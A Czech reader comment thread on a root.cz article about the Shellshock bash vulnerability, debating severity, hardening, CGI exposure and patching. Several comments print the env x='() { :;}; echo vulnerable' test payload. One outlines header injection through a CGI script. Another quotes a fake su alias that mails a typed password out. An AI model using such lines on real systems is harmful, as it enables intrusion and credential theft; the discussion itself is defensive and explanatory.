Názory k článku Díra v bashi, které si 20 let nikdo nevšiml
-
Ales Hakl (neregistrovaný)
Popravde receno, to samotne reseni jako bash exportuje funkce je lehce debilni, protoze je tam i funkcni chyba a to v tom, ze promenna, ktera reprezentuje funkci pak neni videt jako promenna. Tj:
$ FOO='() { bla; }' bash
$ echo "$FOO"$ exit
$ FOO='() { bla; }' dash
$ echo "$FOO"
() { bla; }
$To druhe je naprosto jednoznacne to ocekavane chovani, pokud takova hodnota vznikne nahodou (a jsem sice liny poradne hledat, ale v dokumentaci k bashi nenachazim nic co by primo implikovalo, ze tohle se ma dit).
Ohledne zneuzitelnosti (zejmena v kontextu gitosis/lite a podobnych veci) je potreba si uvedomit, ze neni dulezite jenom jestli je to samo o sobe implementovane v bashi, ale take co to vola s prostredim ovlinitelnym uzivatelem, v pripade toho gitu to muzou byt treba hooky.
-
me (neregistrovaný)
"zklamal" tim, ze zareagoval docela pozde. Treba "zive.cz" informovalo o tak zavaznem problemu mnohem drive a clanek byl take dobre napsan.
Rychleji zareagovala take iDnes (Technet)
Clanek na root.cz je dobry, obsahuje zase nove informace, je technictejsi. A predpoladam, ze to neni clanek posledni, protoze o teto chybe se jeste chvili psat bude... ;-)
-
To není pravda. My jsme o tom psali už ve středu odpoledne: Chyba v bashi umožňuje vzdálené spuštění kódu.
Tedy o 24 hodin dříve než Technet a Živě.
Podle mě je nejlepší napsat základní informace hned a potom pracovat na podrobném článku. Ony ty informace taky přichází postupně, objevují se další komentáře, další objevené souvislosti a třeba ta dvojitá záplata je taky až výsledkem dalšího dne.
-
Jj
Nová zranitelnost se týká služby Bash (Bourne-Again SHell), která je běžnou součástí Unixových systémů. Ohroženy jsou tak především počítače běžící na Linuxu a OS X. Problém je závažnější i proto, že služba Bash běží i v rámci Apache, který pohání miliony webových stránek a systémů. ...
http://www.lupa.cz/clanky/heartbleed-ma-nastupce-bezpecnostni-dira-miri-na-linux-a-os-x/
:-) :-) :-)
-
O Žive snad netřeba pochybovat ale i Technet se velmi rád otře o každou drobnost na Linuxu, zatímco jiný OS propaguje každý týden ;-)
Tuto věc v bashi (zdráhám se to nazývat chybou) nepovažuji za nijak závažnou, naopak, je to dobře. Protože snad (naivní představa) to donutí některé lidi dělat věci pořádně.
PS: Skoro bych se vsadil, že o tomto jsme se učili už na škole před více než 10 lety a tehdy to bylo považováno za vlastnost (vyhodnocování proměnných, což tehdy byla zcela běžná vlastnost makrojazyků). Dnes, o x let později je to chyba na úrovni heartbleead, což už je naprostý bulvarismus.
-
Jenda (neregistrovaný)
> Protože snad (naivní představa) to donutí některé lidi dělat věci pořádně.
Navrhneš mi prosím "pořádný" ekvivalent command="" v authorized_keys nebo co mám udělat, když potřebuji z webové aplikace spustit externí skript a předat mu parametry od uživatele? (odpověď „použij něco jiného než bash“ není dobrá, protože podobná chyba se může objevit i v jiných interpretech)
> PS: Skoro bych se vsadil, že o tomto jsme se učili už na škole před více než 10 lety a tehdy to bylo považováno za vlastnost (vyhodnocování proměnných, což tehdy byla zcela běžná vlastnost makrojazyků)
Jedna věc je vyhodnocení definice té funkce, druhá věc je vyhodnocení toho, co je za definicí.
-
"Navrhneš mi prosím "pořádný" ekvivalent command="" v authorized_keys nebo co mám udělat"
Tuhle manipulaci neberu. Protože pokud:
"potřebuji z webové aplikace spustit externí skript a předat mu parametry od uživatele"
není možné udělat bezpečně, tak se to nemá dělat vůbec. TEČKA!
Už kolem ssh klíčů, potom kolem heartbleedu jsem slyšel tolik výmluv, proč se věci "musí" dělat zrovna tak, jak to dotyčný (blbě) navrhl a žádné dlouhé RSA klíče nebo znaková hesla prostě používat nebude. Pokud někdo volá bash z webové aplikace, je to jeho problém. Ať si to vyřeší jak chce. Nástroje na to má. Od pečlivého oddělení uživatelských účtů (s tím související ACL apod.) až po SELinux.
A jestli někdo vsadí celou bezpečnost na jednu vrstvu (a je úplně jedno, která to je) a potom se tam najde chyba (která se tam dřív nebo později stejně najde, jsme jen lidé a děláme chyby), tak by si měl příště návrh systému promyslet poněkud lépe.
-
Tak já si myslím, že co je bezpečně se docela dobře ví. Alespoň mám tedy ze své praxe ten pocit. Docela dobře se to vysvětluje na kryptofunkcích. Pokud kryptologové označí md5 za prolomenou, nebo v případě sha1 za nalomenou (a dneska už stejně beztak slabou), tak ji nebudu používat. Konec diskuse. Mezitím se i o 10 let později md5 propaguje v knížkách... a v diskusích se vymýšlejí scénáře, kdy její prolomení jako že "nevadí".
O tom, že by se vstupy měly ošetřovat se taky ví už od počátků počítačů. Včera jsem narazil na úklidový skript k jednomu programu, který obsahoval 5 možností SQL Injection jako Brno. A to proto, že víc dotazů tam ani nebylo. Jak o řešení a také varování přes "řešením" sql injection se učí snad už v mateřské školce.
Uživatelský vstup z webu bych rozhodně nefláknul do skriptovacího jazyka, který ze své přirozenosti se snaží vyhodnotit všechno, co vyhodnotit lze. Protože, jak tu kdosi správně řekl, bash je zejména interaktivní příkazový interpret. Ano, při práci na řádce to neskutečně ulehčuje práci. Ale na psaní programů? Programů co berou vstupy z apriori nebezpečného prostředí?
Já mám na starosti několik set webserverů a pouze na jednom z nich je modul cgi. Musí se to nastavit, protože defaultně se nepoužívá nikde (alespoň v těch distribucích, co znám). (A kdyby za mnou někdo přišel, že chce cgi (bez https a bez přihlášení) a ještě jako bonus libovolný bash skript, tak odpověď je ne. Ani omylem. Ať jde za někým jiným, já se pod to nepodepíšu. A to nepíšu proto, že je zrovna na pořadu tato věc s bashem, tohle se prostě nedělá právě proto, že je velmi složité zajistit jakoukoliv bezpečnost.)
Ten jeden cgi je schovaný za http autentizací a celé to běží pochopitelně na https (jinak by to přihlašování nemělo žádný význam, když by si každý mohl odposlechnout heslo). (Jestli někdo provozuje autentizaci na nešifrovaném spojení, tak je to sice hezké, ale u počítačů nemá co dělat.) A pochopitelně je tam povolený pouze ten skript, který má být. Neexistuje možnost, jak tam spustit bash. A i kdyby, tak by běžel pouze s velmi omezenými oprávněními toho uživatele. A ten rozhodně nemá možnost číst kde co všechno.
Takže vrstvy:
* Celé je to šifrované.
* Za přihlášením.
* Omezené pouze na jeden skript.
* Omezený uživatel pro běh toho skriptu.Kdybych byl co k čemu, tak si nastuduju selinux a bude to ještě zaselinuxované. Další vrstva.
Když cokoliv selže a ten útočník louskne https, auth, spustí bash, tak je mu to stejně na dvě věci. Nikam se nedostane.
Tohle považuji za základ. Za minimum.
Někdo tady uváděl prolomení SFTP a možnost získat shell. Takže co by se muselo stát:
* Útočníkem by musel být přímo majitel soukromého klíče, nebo někdo, kdo by jej získal. V každém případě by bylo rychle dohledatelné, odkud to přišlo.
* Potom by musel prolomit SFTP a získal by shell.K čemu by se dostal? Dostal by se k datům, ke kterým by se dostal i bez prolomení onoho SFTP omezení. Nic víc. Měl by shell? Nevím jak kdo, ale já když už nastavuji omezení SSH pouze na SFTP, tak vždy společně s chrootem. A jako do toho chrootu opravdu bash nelinkuju. Takže sorry, ani ten shell by nezískal.
Opět několiv vstev:
* Soukromý klíč
* Prolomení SFTP
* Prolomení chroot
* Opět možnost další MAC vrstvy.aby se dostal na shell s omezenými právy. I kdyby, tak co? Tak nic. Osobně shell nezakazuji ani když vím, že to budou používat jen pro nahrávání souborů. Nevidím k tomu důvod.
To jsou jen dva příklady, ale snad je vidět, co se stane, když se jedna z více vrstev poruší. Nestane se nic.
Já jsem admin, já ti neřeknu jak přesně to naprogramovat. Dovedu si představit, že ten skript na získávání dat od uživatele poběží jako zcela samostatný proces zcela vyhrazeného uživatele, který nebude mít žádná práva k souborům a tento proces po zpracování a ošetření dat za určitých podmínek je předá dál k dalšímu zpracování. Třeba jako frontu souborů na disku typu maildir (new, tmp, cur, přesypávání souborů pomocí rename). I to se dělá, ten skript tam může mít právo zápisu, ale už ne čtení, aby v případě nalomení bezpečnosti nešel přečíst obsah fronty.
-
Lael Ophir (neregistrovaný)
Údajně je v ohrožení například cPanel.
http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html -
Jenda (neregistrovaný)
> Uživatelský vstup z webu bych rozhodně nefláknul do skriptovacího jazyka, který ze své přirozenosti se snaží vyhodnotit všechno, co vyhodnotit lze.
Mám těžký život. Když to napíšu v C, tak mi někdo vynadá, že je to náchylné na buffer overflow. Když to napíšu ve vyšším skriptovacím jazyce, tak mi někdo vynadá, že interpreter může spouštět kousky vstupu. V čem mám teda sakra programovat?
> Někdo tady uváděl prolomení SFTP a možnost získat shell.
Nikoli, šlo o gitolite-like wrapper nad uživatelskými právy.
> Útočníkem by musel být přímo majitel soukromého klíče, nebo někdo, kdo by jej získal. V každém případě by bylo rychle dohledatelné, odkud to přišlo.
Jsou to zařízení v terénu. Každý může odšroubovat těch pár šroubků, vyndat kartu a klíč si zkopírovat.
> Dostal by se k datům, ke kterým by se dostal i bez prolomení onoho SFTP omezení.
Nope, proto je tam přece ten wrapper - aby omezil, k čemu se může dostat.
> Dovedu si představit, že ten skript na získávání dat od uživatele poběží jako zcela samostatný proces zcela vyhrazeného uživatele, který nebude mít žádná práva k souborům a tento proces po zpracování a ošetření dat za určitých podmínek je předá dál k dalšímu zpracování. Třeba jako frontu souborů na disku typu maildir (new, tmp, cur, přesypávání souborů pomocí rename).
Ano, zhruba takto to mám (dobrý nápad s tím, že bude mít možnost jen zapisovat; v tomto případě by to ale asi nepomohlo, pokud by něco cestou nestriplo environment).
Simplicio: Tak mu dej jako shell dash, ten je jednodušší a tyhle featury nemá.
Salviati: Ale určitě je v něm spousta jiných bugů, které se neodhalily, protože si to bastlí debiaňáci soukromě na koleně.
-
Filip JirsákStříbrný podporovatelTo je trošku rána pod pás, nemyslíte? Vyhodnotit všechno, co vyhodnotit lze, je přirozenou vlastností shellu, ne všech vyšších programovacích jazyků nebo interpretů.
-
Nějak jsem si nevšiml, že by ti tady někdo nadával, ale hlavně nemá smysl to hnát ad absurdum.
Ano bash je (potenciálně) nebezpečná věc, ale to neznamená, že ji přestanu používat. Nůž je také (potenciálně) nebezpečná věc a beru ho do ruky každý den.
Máš zařízení v terénu, která se připojují na nějaký server. Fajn. Co by se stalo, kdyby se někdo dostal na ten server? Co by získal? Co by se stalo kdyby získal roota? Až si na tyhle otázky odpovíš, tak se podle toho zařiď (na té vrstvě, které se to týká).
Existuje spousta serverů, kde ani prolomení na roota vlastně ničemu nevadí. (Jako tím neříkám, že by neměly být zabezpečeny, to bezpochyby ano.) Obzvláště dneska, kdy se virtualizace nadužívá na každou kravinu a v podstatě co appka to jeden server. Pokud appka obsahuje výhradně veřejné informace (což obsahuje většina webserverů), tak ani kompletní únik image vmka na veřejnost vlastně nic neznamená. (Jen ostudu adminů.)
-
Jenda (neregistrovaný)
> Nějak jsem si nevšiml, že by ti tady někdo nadával
Nj, nadsázka.
> Existuje spousta serverů, kde ani prolomení na roota vlastně ničemu nevadí.
No minimálně ho může zneužít jako hop-box pro další útok nebo spam. Teda v mém případě naštěstí nemůže (pokud se z toho uživatele nedostane na roota), protože jsem uživateli, pod kterým to běží, zakázal pomocí iptables UID modulu všechno kromě toho jediného portu, na kterém to běží.
Furt mi může manipulovat naměřená data. Měl jsi dobrý nápad, že si můžu pohrát s ACLkama a znechutit mu to.
-
Samotná ACLka ti na tohle nepomůžou. Protože ten soubor vzniká s vlastníkem dle UID toho procesu. Ty sice může ACLka na složce nastavit tak, že default bude w, ale vlastník si ten mód může změnit. Takže si tam to rko přidá. A pomocí ACL to "nevyvlastníš".
Je potřeba nastavit onomu souboru jiného vlastníka, například tak, že se ta složka bude hlídat pomocí inotify a při změně se změní vlastník. Jenže když už se dělá toto, tak se rovnou ten soubor může přesunout na místo, kam ten zapisovací proces vůbec nevidí.
-
Pavel (neregistrovaný)
Jeden náš zákazník při přejímce testuje náš systém i tak, že do něj dva dny pod tlakem cpe náhodná data. A ten systém musí vše korektně zpracovat - ohlásit chybu, ignorovat vstup, ale hlavně nesmí lehnou a nesmí udělat nic nečekaného.
A tímto testem to vždy projde. Ošetření vstupů opravdu není nic těžkého, jen to vyžaduje trochu znalostí i z teorie a pečlivosti.
-
l (neregistrovaný)
mozes si vytvorit daemona, ktory bude pocuvat na porte a skrz nejaky interny messaging protokol mozes volat metody s roznymi parametrami.
Tym padom mas web len na to na co ma sluzit - na komunikaciu s uzivatelom, nie na spustanie externych scriptov. Napisat nejaky trivialny server s basic autorizaciou, bindnuty na localhost, je otazka hodiny. V php alebo inom interpretovanom jazyku spravit klientsku cast zabere par minut. Aj s odchytavanim stavu, ked nahodou server nebude dostupny. -
Jenda (neregistrovaný)
> mozes si vytvorit daemona, ktory bude pocuvat na porte a skrz nejaky interny messaging protokol mozes volat metody s roznymi parametrami.
Jasně. A napíšu toho démona, já nevím, v Pythonu, a za rok mi tu někdo bude nadávat, až se v Pythonu najde chyba, která umožní spustit obsah pythoního stacku.
-
l (neregistrovaný)
je trochu rozdiel ked mas uzavrety protokol, uzivatel z webu nema absolutne tusenie ze za webom existuje nejaky layer s pythonim scriptom.... a mat suexec php alebo cokolvek ine vystavene na nete.
A co ked sa najde diera v TCP/IP alebo HTTP :) Co potom budes robit? Vypnes PC a uz ho v zivote nezapnes? Treba sa drzat rokmi overenych bezpecnostnych odporucani....
- nerobit suexcec,
- technologie by nemali byt znasilnovane na veci v ktorych nie su dobre (byt to ide spravit, nerobit to)
- ludom/procesom davat minimum prava dalsie, dovolim si tvrdit logicke veci
-
Jenda (neregistrovaný)
> je trochu rozdiel ked mas uzavrety protokol, uzivatel z webu nema absolutne tusenie ze za webom existuje nejaky layer s pythonim scriptom....
Pokud to bude chyba jako tady, kde stačí víceméně přiřadit do proměnné, je celkem jedno, jak ten protokol a program za tím vypadá. P.S.: samozřejmě by to nebylo uzavřené, ale open-source.
> A co ked sa najde diera v TCP/IP alebo HTTP :) Co potom budes robit?
No určitě si nenechám nadávat od lidí ve fórech, že jsem měl mít dva stroje, přičemž jeden by to z toho TCP a HTTP překládal na můj vlastní (zaručeně bezchybný) protokol.
> - nerobit suexcec,
To mi naopak přijde jako velmi dobrý nápad. Když hostuju několik webů, každému spustím PHP pod jiným uživatelem a nastavím správně práva, tak si navzájem nemůžou lézt do zelí.
> - technologie by nemali byt znasilnovane na veci v ktorych nie su dobre
V tomto případě šlo o to, že jsem napsal skript v populárním skriptovacím jazyce. To mi jako znásilnění nepřijde.
> - ludom/procesom davat minimum prav
Ano, mohl jsem to vyřešit tím, že bych měl 1000 uživatelů místo jednoho wrapperu. To by tu pomohlo.
-
l (neregistrovaný)
co pridate do premennej tak aby pri komunikacii cez tcp/udp bash nieco zevaluoval?
Ak si to samozrejme napisete zle - tak potom ano, radsej sa do toho nepustajteak chcete rozdelovat veci tak aby si nevideli do zeli, od toho je virtualizacia. Ma okrem tejto vyhody hromadu dalsich navrch. Dufam ze nesklzne diskusia do temy - je to naprd, cele cloudove riesenia su vlastne postavene na vode a nikto to aj-tak nepouziva
-
Jenda (neregistrovaný)
> co pridate do premennej tak aby pri komunikacii cez tcp/udp bash nieco zevaluoval
No v bashi si asi nebudu psát TCP server, takže se nechám spouštět nějakým xinetd nebo sshd. A od nich nejspíš budu chtít předat identifikaci a další parametry klienta (jako to dělá sshd - což se teď vymstilo různým git hostingům - nebo třeba libovolný CGI handler).
Taky to můžu celé dostat jako blob na stdin a rozbalit si ho vevnitř, což netriggerne zrovna shellshock, ale může tam být jiná chyba podobného typu.
No a pak je samozřejmě možnost nepsat to ve shellu (k tomu mě svedlo to, že ten handler v podstatě dělá jenom přijímání a přesouvání souborů, což je prostě v bashi skoro oneliner) a ještě k tomu si při spouštění externích programů dávat pozor na environment, který jim předávám (koho by to ještě minulý týden napadlo?), a ještě k tomu si dávat pozor, aby třeba to sshd nebo inetd náhodou nespustily shell bokem, nebo když si místo hookování sshd postavím vlastní SSL server nad OpenSSL, tak že tam nebude Heartbleed a vůbec.
> ak chcete rozdelovat veci tak aby si nevideli do zeli, od toho je virtualizacia
Nemůžu spustit tisíc virtuálů kvůli tomu, že mi dvakrát za den klienti chtějí poslat 10 kB dat…
-
l (neregistrovaný)
kodim uz relativne dlho a rozne aplikacie kombinujuce predtym 2 samostatne sluzby, a okrem jednotiek pripadov som nikdy na toto nepotreobval pouzit premenne prostredia. Uz len z principu, ze nemusia byt ciste.
Co tak pouzit ftp - kludne cez php? Daemona bindnut na localhost a bez mena a hesla (od vasho klienta) sa samotny php script nikam nedostane. Po prihlaseni len k datam na danom ftp ucte, ktory je zvonku uplne neviditelny.
-
Jenda (neregistrovaný)
> Co tak pouzit ftp - kludne cez php? Daemona bindnut na localhost a bez mena a hesla (od vasho klienta) sa samotny php script nikam nedostane. Po prihlaseni len k datam na danom ftp ucte, ktory je zvonku uplne neviditelny.
Počkej, tohle nechápu. Jako že mi bude na serveru poslouchat lokálně FTP a jak se k němu klient připojí?
Jinak požadavkem taky bylo, aby se na klienta dalo připojit, když to bude potřeba - což v tomto případě řeší ssh -R.
-
l (neregistrovaný)
FTP server moze byt bud lokalny (na tom istom stroji ako aplikacia), alebo na LAN, alebo moze byt vytvoreny VPN tunel kamkolvek. FTP tym padom nemusi byt dostupne zvonku, ale aplikacia sa nanho dostane. Klient nepristupuje v FTP priamo, ale skrz tuto aplikaciu - credentials pre FTP spojenie zadava pri prihlaseni uzivatel. Bez nich sa aplikacia nikam nedostane, cize aj po jej skompromitovani dojde k minimalnej skode.
Lepsie to uz popisat neviem :)
-
Jenda (neregistrovaný)
Ale tím jsem vlastně nahradil chyby v sshd/shellu chybami ve FTP serveru, ne?
> credentials pre FTP spojenie zadava pri prihlaseni uzivatel
Boty v botnetu nemají (fyzického) uživatele, který by se přihlašoval.
> Bez nich sa aplikacia nikam nedostane, cize aj po jej skompromitovani dojde k minimalnej skode.
Celou dobu řeším případ, že mi někdo rozebere bota a vytáhne z něj SSH klíč/credentials k FTP/whatever.
-
l (neregistrovaný)
Ja neviem, ak sa chceme bavit stylom - to moze byt derave, tak to pouzivat nebudem, tak potom nepouzivajte nic, lebo vsetko moze byt derave. Deravy moze byt aj webserver ktory prevadzkujete, php ktore prevadzkujete, pravdepoodobne aj DNS a tucet dalsich veci
Spat k neci - ako potencionalny utocnik zneuzije chyby vo ftp daemonovi, ked s ftp daemonom nebude moct priamo komunikovat - ale s ftp bude komunikovat aplikacia - naprikald v php? Jediny vstup od uzivatela bude login, heslo a uploadnuty subor. To ze tam je nejake FTP uzivatel vediet nebude a keby aj vedel, nedostane sa k nemu pretoze bude za firewallom, alebo uplne nedostupny z wan?
-
Pavel Píša (neregistrovaný)
Za článek děkuji, některé příklady jsou pro mě nové.
Bagatelizace problému není vůbec na místě. Velké štěstí systémů na bázi Debianu je, že v posledních verzích mapuje /bin/sh na dash. Pokud je unixový systém, který mapuje /bin/sh na bash, tak každé volání system a popen přes bash přechází. Přitom volání libc funkce system je mnohem mnohem jednodušší a asi i přenositelnější než řešení vlastních konstrukcí přes fork a exec vyžadující často vlastní hledání podle PATH atd.
Takže zranitelnost se týká téměř všech řešení, ať jsou již v Pythonu, C, C++ atd. Kdykoliv je po cestě system(), tak může být chyba/(mis)featura zneužitá.
-
me (neregistrovaný)
Myslim si, ze dash ma taky problem. Takto se chova stare Ubuntu, 11.04, bash a dash tedy nebyly opravny, protoze system uz opravy nedostava (a konecne mam dobry duvod provest upgrade :-)
$ dpkg -la | grep dash ii dash 0.5.5.1-7.2ubuntu1 POSIX-compliant shell $ cat shellshock1.sh #!/bin/dash env x='() { :;}; echo vulnerable' bash -c "echo this is a test" $ dash shellshock1.sh vulnerable this is a test -
Ondřej CaletkaZlatý podporovatelV citovaném skriptu je volán
bash, takže rozhodně neprokazuje zranitelnost dashe. Dash import funkcí z prostředí vůbec nepodporuje, takže v tomto ohledu zranitelný není. -
I kdyby to byla pravda (jakoze neni), tak root.cz neni zadny security bulletin, abych od nej ocekaval okamzitou informaci o kdejake zranitelnosti.
Naopak Oscaruv clanek je super a narozdil od levnych povrchnich blabolu "objevila se vazna zranitelnost" vysvetluje podstatu, coz je presne to, co od roota ocekavam, cim se od vsech tech technetu odlisuje. Technety at se soustredi na ty svoje recenze, jak moc ma ktery novy telefon kulaty tlacitka... :)
Za me: dora prace, diky!
-
l (neregistrovaný)
" Stačí aby aplikace třeba v PHP v některém místě volala popen(), nebo system() pro spuštění externích příkazů."
tu by ma zaujimalo, ako sa ta premenna prostredia v tom php nastavi, aby nasledne system() alebo fopen() nejako trpel? Medzi webserverom a perl/php scritptami v mode cgi nie je ziaden bash.
-
aL (neregistrovaný)
"Nemělo" by se to přepsat. Daný PHP skript by se "měl" postarat o to, aby bylo prostředí vyčištěno, tj. např. pomocí `env`a pokud je třeba něco předávat tak to nejdřív přefiltrovat.
Toliko k teorii :). Samozřejmě v praxi existuje řada řešení, kde se vstupy neošetřují vůbec, ta si ovšem koledují o průser.
Na druhou stranu shellshock může zarazit i autora, který se do jisté míry o bezpečnost snažil--například si myslel, že může třeba jednu dvě proměnné předat a "očistit" je až ve volaném bash skriptu ale ejhle, pozdě...
-
kuja (neregistrovaný)
Me ten popis prijde lehce bulvarni. Nikde se nepise, ze se funkce propisuje pouze do podprocesu spustenych konkretnim uzivatelem. Nechci to nijak znevazovat, ale pokud clovek pouziva alespon elementarni hardening, tak mu vesmes nehrozi zadny velky riziko, maximalne hromada exportovanejch promennejch. Chyba to je u nezabezpecenejch systemu, kde se clovek dostane rychle a levne k zajimavejm datum. Ale i tak musi znat jmeno, heslo a nebo aspon cgi skript, kterej se propisuje skrz shell :) Katastrofa nastava u stroju, kde se muze prihlasit vzdalene root, pripadne uzivatel, kterej ma nejaky slovnikovy heslo a sudo bez hesla, pripadne jinej princip eskalace prav....
-
kuja (neregistrovaný)
To uz je ale ulet. V tom pripade je dira jako prase se prihlasit jako uzivatel na system a vylistovat si vsechny soubory a bezici procesy. Ja to nijak neshazuju, ale prinos pro cloveka, kterej se uz dostal na system to ma nulovej. A porad si stojim za tim, ze pokud clovek neni uplnej retard a pouziva elementarni hardening, tak se ho tohle moc nedotkne. A pochopitelne to je o tom, aby lidi lidi pouzivali to co maj na krku....to je ale alfa a omega vseho. A jeste k cgi skriptum a curl like utok. Pokud clovek pouziva nginx, nebo i apache, a pouzije kvetak a zabezpeci si ho, tak skrz cgi skript neziska nic. Maximalne to, co je v context rootu.
-
gamer (neregistrovaný)
Hardening s tím vůbec nesouvisí, nijak před útokem neochrání. Mně jako útočníkovi stačí, aby třeba apache spouštěl cgi skript, což vede na volání bashe. No a do requestu apache dám do hlavičky ten find a získám data ze všech souborů, ke kterým má proces obsluhující request přístup. Tam zjistím třeba heslo do databáze a pak už mi stačí udělat tohle:
echo "muj zly kod ktery s databazi provadi nehezke veci" > evil_code
chmod ₊x evil_code
./evil_codea můžu se systémem dělat cokoliv (v rámci práv uživatele, pod kterým to běží).
-
Lol Phirae (neregistrovaný)
Alebo CGI script ktory bezi pod userom webserveru co ma bash ako shell. Co znacne redukuje zneuzitelnost - pretoze kazdy solidny admin ma tohto usera nastaveneho na /bin/false
Tys asi nikdy neviděl např. nějakou tuhle NAS krabici s klikacím GUI, viď? Webserver běží pod rootem a žádný /bin/false se pochopitelně nekoná.
-
l (neregistrovaný)
tak predpokladam ze zneuzitelnost domaceho NAS beziaceho v LAN je trochu vzdialena masovej histerii ktoru pozorujem. I tak pochybujem ze tie krabice maju bash - setri sa tam na kazdom bajte aby mohli dat cenu o par centov dole - je dost nepravdepodobne ze by plytvali miestom na moloch, ked existuje plno lightweight alternativ.
-
Lol Phirae (neregistrovaný)
Např. v QNAPu je samozřejmě bash. Nevím, o jakém šetřetí místem je řeč, ty piksly se dodávají bez disku, praktický celý FW je na disku, na nějaké flashce je jen to, co je nezbytné pro instalaci normálního FW. Šetření místem nikoho nezajímá, ty FW mají stovky MB jen jako zabalená image pro instalaci.
-
Trident (neregistrovaný)
QNAP storage je uz spis plnohodnotny armovy pocitac. Tam neni duvod ani mistem setrit kdyz mame disky.
Dneska na mne vyskocil update bashe z ipkg repa(je mozne ze tam byl uz den predtim).
Vzhledem k tomu ze QNAP podporuje i stare plecky a posledni release firmware byl 25.9.2014(vetsinou je tak 1 za mesic az dva). Byly i emergency aktualizace mimo tento cyklus kvuli sambe.
Tady bych se opravdu nebal ze vydaji novou verzi. Vyborna podpora QNAPu, moznost instalace cisteho debiana a caste aktualizace je duvod proc bych si ho kvuli podpore koupil zas.Pouziti bashe u developeru jen tak nezmenis.Developer proste pouziva to co je mu blizke. Bezpecnost ci moznost pouziti v prostredich kde bash neni tezko z hardcore linuxovych palic vymlatis
Je to mor ktery se uci i na VS. Taky mne par knizek takto vychovalo nez jsem na AIXU a Solarisu musel pouzit bourne shell a ksh a zjistil jsem proc stari unixovi bardi nepouzivaji bash. Chce to ucit se od spravnych lidi a ne od akademickych teoretiku. -
Lol Phirae (neregistrovaný)
Dneska na mne vyskocil update bashe z ipkg repa(je mozne ze tam byl uz den predtim).No, ten byl opravdu hodně platný...
# ipkg update
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable//Packages
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/Packages.gz
Inflating http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/Packages.gz
Updated list of available packages in /opt/lib/ipkg/lists/cs08q1armel
Successfully terminated.# ipkg upgrade
Upgrading bash on root from 3.2.49-1 to 3.2.52-1...
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/bash_3.2.52-1_arm.ipk
Configuring bash
Successfully terminated.# ipkg list_installed | grep bash
bash - 3.2.52-1 - A bourne style shell# /opt/bin/bash --version
GNU bash, version 3.2.49(1)-release (arm-none-linux-gnueabi)
Copyright (C) 2007 Free Software Foundation, Inc.# env x='() { :;}; echo vulnerable' /opt/bin/bash -c "echo this is a test"
vulnerable
this is a testNevím, jaký dement to balil.
-
Lol Phirae (neregistrovaný)
Např. odkaz na bug tracker funguje takto:
The ipkgfind site is unavailable until further notice.
-
Jenda (neregistrovaný)
> pokud clovek pouziva alespon elementarni hardening, tak mu vesmes nehrozi zadny velky riziko
No minimálně před čtením ti hardening moc nepomůže (běžíš v kontextu aplikace, která taky potřebuje číst, tak to asi má povolené).
> Katastrofa nastava u stroju, kde se muze prihlasit vzdalene root, pripadne uzivatel, kterej ma nejaky slovnikovy heslo a sudo bez hesla, pripadne jinej princip eskalace prav....
To je pravda, pokud by neměl slovníkové heslo, tak by mu určitě nebylo možné dát do .bashrc alias su='read "Enter password" pw; echo $pw | mail cc@nsalitomerice.cz'
-
kuja (neregistrovaný)
Cteni je ale problematicke i u klasickyho uzivatele. To, ze mu nekdo neco vyexportuje neni uz moc prinos. A celkove je to takovy spis sci-fi.
Ono treba spravne nastaveny contexty v SELinuxu zabrani i cteni veci, ktery nejsou primo v contextech konkretniho uzivatele. Ale verim, ze SELinux je pro hromadu lidi sprosty slovo a prvni co udelaj je setenforce 0 a "Disable" v konfiguraku.
No a posledni vec je uz hodne bulvarni a predpoklada, ze uz utocnik pristup na stroj ma a nebo ma nekoho, kdo to podstrci, pripadne nejakej malware nebo jinej exploit v jiny aplikaci mu to umozni.
Ja to v zadnym pripade nechci bagatelizovat, zlehcovat, pripadne to nejak shazovat. Jenom z moji zkusenosti sysadmina v tom nevidim az zas takovou hrozbu, aby byli reakce tak prehnane hystericky. Chce se na to podivat strizlive a uvazovat realisticky.
-
Aktualizovat operační systém. Obvykle mívají jejích tvůrci nějaký systém na sledování bezpečnostních děr a stavu jejich záplatování. Pro Debian je například stav vidět na Security Trackeru. Všechny větve už mají záplaty.
-
Ale bash je pouzivany aj inde a tam to nie je take jednoduche, napr. Cisco Security Advisory Pre ne kym nam vydaju zaplatu a tie kvanta zariadeni u zakaznikov zaktualizujeme (+ dodrzat sialeny change proces), tak to potrva.
-
maras (neregistrovaný)
Tak jedem, ne? OSS, otevřené zdrojáky, tak když pominu, že tam žádná chyba přece být neměla, protože si to každý přece může zkontrolovat, tak jaj je to s tou opravou? Kde to vázne? Ticho po pěšině a když už to jinak nejde, tak zlehčování problému...
Trolling samozřejmě není fér, ale už by se konečně OSS komunita mohla chytnou za nos. OSS má sice spoustu výhod, ale co se týká přístupu ke zdrojákům, tak to v případě takovýchto problémů ve skutečnosti nic neřeší, je to jen alibi.
-
Řeší to ten problém dost zásadně: záplaty pro většinu distribucí jsou od včerejška k dispozici, Debian má opravené všechny větve a dokonce byla záplata backportována do starých verzí, které už nejsou v upstreamu podporované. To by bez zdrojáků možné nebylo.
Obecně jsou chyby ve všech aplikacích, ale zdrojáky usnadňují a dramaticky urychlují záplatování. Nehledě na to, že je možné záplatovat si třeba i bash v nějaké krabičce, která je deset let stará a původní tvůrce se na ni vykašlal.
-
Vlada (neregistrovaný)
Nejake doporuceni, jak zazaplatovat nejaky obecny linux, ktery bezi rekneme na wifi routeru doma, ma custom linux s pristupem pres ssh a neni to zadny Debian s moznosti apt-get update / upgrade? Muzu zjisti verzi kernelu, verzi bashe, ldd, mam tam moznost zapisu, takze jedna moznost je zkompilovat nekde na jinem stroji a nahrat to tam (na tom routeru zadne kompilacni nastroje nejsou). Ale jak udelat cross kompilaci nevim. Nejaka rada?
-
-
Lael Ophir (neregistrovaný)
Chybu údajně nahlásil Stephane Chazelas správci bashe už 12.9. Naštěstí se podařilo problém udržet pod pokličkou až do vydání opravy (bohužel jen částečné), která přišla po 14 dnech.
http://www.nytimes.com/2014/09/26/technology/security-experts-expect-shellshock-software-bug-to-be-significant.html?_r=0Oprava mi nepřipadá nijak dramaticky rychlá, a nemyslím že by k její opravě byly podmínkou otevřený zdroják. Pokud by měl zdroják jen správce bashe, prostě by provedl opravu on.
